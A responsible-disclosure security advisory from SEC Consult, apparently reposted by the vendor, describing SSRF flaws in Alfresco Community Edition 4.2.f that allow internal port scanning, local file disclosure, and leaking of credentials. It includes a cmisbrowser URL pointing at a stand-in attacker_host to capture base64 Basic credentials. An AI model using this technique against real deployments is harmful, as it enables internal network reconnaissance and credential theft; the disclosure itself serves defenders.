It is possible using a simple URL to explore and portscan the internal network of any organisation with an Internet facing Alfresco instance. This was reported in Community 4.2.f by a third party penetration testing company. They intend to go public with this information as part of their
responsible disclosure scheme 50 days after June 24th. Their original report follows:
SEC Consult Vulnerability Lab Security Advisory < YYYYMMDD-0 >
title: Multiple SSRF vulnerabilities
product: Alfresco Community Edition
vulnerable version: <=4.2.f
fixed version: N/A
by: V. Paulikas
SEC Consult Vulnerability Lab
"Alfresco Community Edition allows organizations to manage any type of content
from simple office documents to scanned images, photographs, engineering drawings
and large video files. It is commonly used as a document management system,
content platform, CMIS-compliant repository."
Multiple SSRF vulnerabilities were identified within the affected Alfresco product.
By exploiting these vulnerabilities an unauthenticated attacker is able to
scan available ports on internal systems and access internal web applications
which should not be accessible from the Internet.
It is recommended to restrict the access to the affected servlets
until an official patch is released by the vendor.
1) Server Side Request Forgery (SSRF)
A Server Side Request Forgery vulnerability allows to issue remote connections
on behalf of the affected server. This can be exploited in order to reach
internal systems, which are not reachable from the Internet, or to bypass
Proof of concept:
SSRF PoC 1)
An unauthenticated user can access the proxy servlet and perform internal
system port scanning by accessing the URL provided below:
The server responds with an error message "Connection refused" when the port
is not accessible (firewalled or not available). Other error messages indicate
a service running on the port which is being probed.
The proxy servlet implementation in older versions of the Alfresco Community Edition
support the file:// URI, allowing the attacker to disclose the contents of the files
on the affected server.
SSRF PoC 2)
The Content Management Interoperability Service (CMIS) can also be exploited
by an unauthenticated attacker in order to issue internal connections. The
following URL can be used in order to exploit the vulnerability:
The server responds with similar error messages when the port is open or closed.
If the victim is tricked to access a resource, protected with Basic authentication,
on the affected host via the cmisbrowser servlet, further requests include the submitted
credentials and can be intercepted by an attacker. An example of such a scenarion:
- victim accesses the http://host/alfresco/cmisbrowser?url=http://host/alfresco/service/
and supplies his user credentials.
- victim then accesses the http://host/alfresco/cmisbrowser?url=http://attacker_host and
his base64 encoded credentials are leaked.
Vulnerable / tested versions:
The vulnerabilities have been verified to exist in the Alfresco Community
Edition version 4.2.f, which was the most recent version at the time of
The version 2.9.0B was verified to support the file:// URI scheme,
allowing the attackers to disclose contents of the local files on the affected
Vendor contact log:
2014-05-26: Contacting vendor through
SEC Consult Vulnerability Lab
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Mooslackengasse 17, 1190 Vienna, Austria
Phone: +43 1 8903043 0
Fax: +43 1 8903043 15
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Write to email@example.com
EOF V. Paulikas / @2014